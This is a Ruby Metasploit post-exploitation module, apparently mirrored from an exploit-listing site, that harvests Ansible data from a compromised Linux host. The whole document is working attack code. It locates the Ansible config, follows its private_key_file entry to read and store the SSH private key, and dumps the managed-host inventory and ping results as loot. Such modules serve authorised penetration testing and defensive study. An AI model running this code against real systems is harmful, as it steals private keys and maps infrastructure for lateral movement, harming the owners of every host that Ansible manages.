Share
## https://sploitus.com/exploit?id=MSF:POST-LINUX-GATHER-ANSIBLE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Auxiliary::Report
  include Msf::Exploit::Local::Ansible

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ansible Config Gather',
        'Description' => %q{
          This module will grab ansible information including hosts, ping status, and the configuration file.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # Metasploit Module
        ],
        'Platform' => ['linux', 'unix'],
        'SessionTypes' => ['shell', 'meterpreter'],
        'References' => [
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options(
      [
        OptString.new('ANSIBLECFG', [true, 'Ansible config file location', '']),
        OptString.new('HOSTS', [ true, 'Which ansible hosts to target', 'all' ]),
      ], self.class
    )

    register_advanced_options(
      [
        OptString.new('ANSIBLEINVENTORY', [true, 'Ansible-inventory executable location', '']),
      ], self.class
    )
  end

  def ansible_inventory
    return @ansible_inv if @ansible_inv

    [datastore['ANSIBLEINVENTORY'], '/usr/local/bin/ansible-inventory'].each do |exec|
      next if exec.empty?
      next unless file?(exec)
      next unless executable?(exec)

      @ansible_inv = exec
      return @ansible_inv
    end
    @ansible_inv
  end

  def ansible_cfg
    return @ansible_cfg if @ansible_cfg

    [datastore['ANSIBLECFG'], '/etc/ansible/ansible.cfg', '/playbook/ansible.cfg'].each do |cfg|
      next if cfg.empty?
      next if cfg.empty?
      next unless file?(cfg)

      @ansible_cfg = cfg
      return @ansible_cfg
    end
    @ansible_cfg
  end

  def ping_hosts_print
    results = ping_hosts
    if results.nil?
      print_error('Unable to parse ping hosts results')
      return
    end

    columns = ['Host', 'Status', 'Ping', 'Changed']
    table = Rex::Text::Table.new('Header' => 'Ansible Pings', 'Indent' => 1, 'Columns' => columns)

    results.each do |match|
      table << [match['host'], match['status'], match['ping'], match['changed']]
    end
    print_good(table.to_s) unless table.rows.empty?
  end

  def conf
    unless file?(ansible_cfg)
      print_bad('Unable to find config file')
      return
    end

    ansible_config = read_file(ansible_cfg)
    stored_config = store_loot('ansible.cfg', 'text/plain', session, ansible_config, 'ansible.cfg', 'Ansible config file')
    print_good("Stored config to: #{stored_config}")
    ansible_config.lines.each do |line|
      next unless line.start_with?('private_key_file')

      file = line.split(' = ')[1].strip
      next unless file?(file)

      print_good("Private key file location: #{file}")

      key = read_file(file)
      loot = store_loot('ansible.private.key', 'text/plain', session, key, 'private.key', 'Ansible private key')
      print_good("Stored private key file to: #{loot}")
    end
  end

  def hosts_list
    hosts = cmd_exec("#{ansible_inventory} --list")
    hosts = JSON.parse(hosts)
    inventory = store_loot('ansible.inventory', 'application/json', session, hosts, 'ansible_inventory.json', 'Ansible inventory')
    print_good("Stored inventory to: #{inventory}")
    columns = ['Host', 'Connection']
    table = Rex::Text::Table.new('Header' => 'Ansible Hosts', 'Indent' => 1, 'Columns' => columns)
    hosts = hosts.dig('_meta', 'hostvars')
    hosts.each do |host|
      table << [host[0], host[1]['ansible_connection']]
    end
    print_good(table.to_s) unless table.rows.empty?
  end

  def run
    fail_with(Failure::NotFound, 'Ansible executable not found') if ansible_exe.nil?
    hosts_list
    ping_hosts_print
    conf
  end
end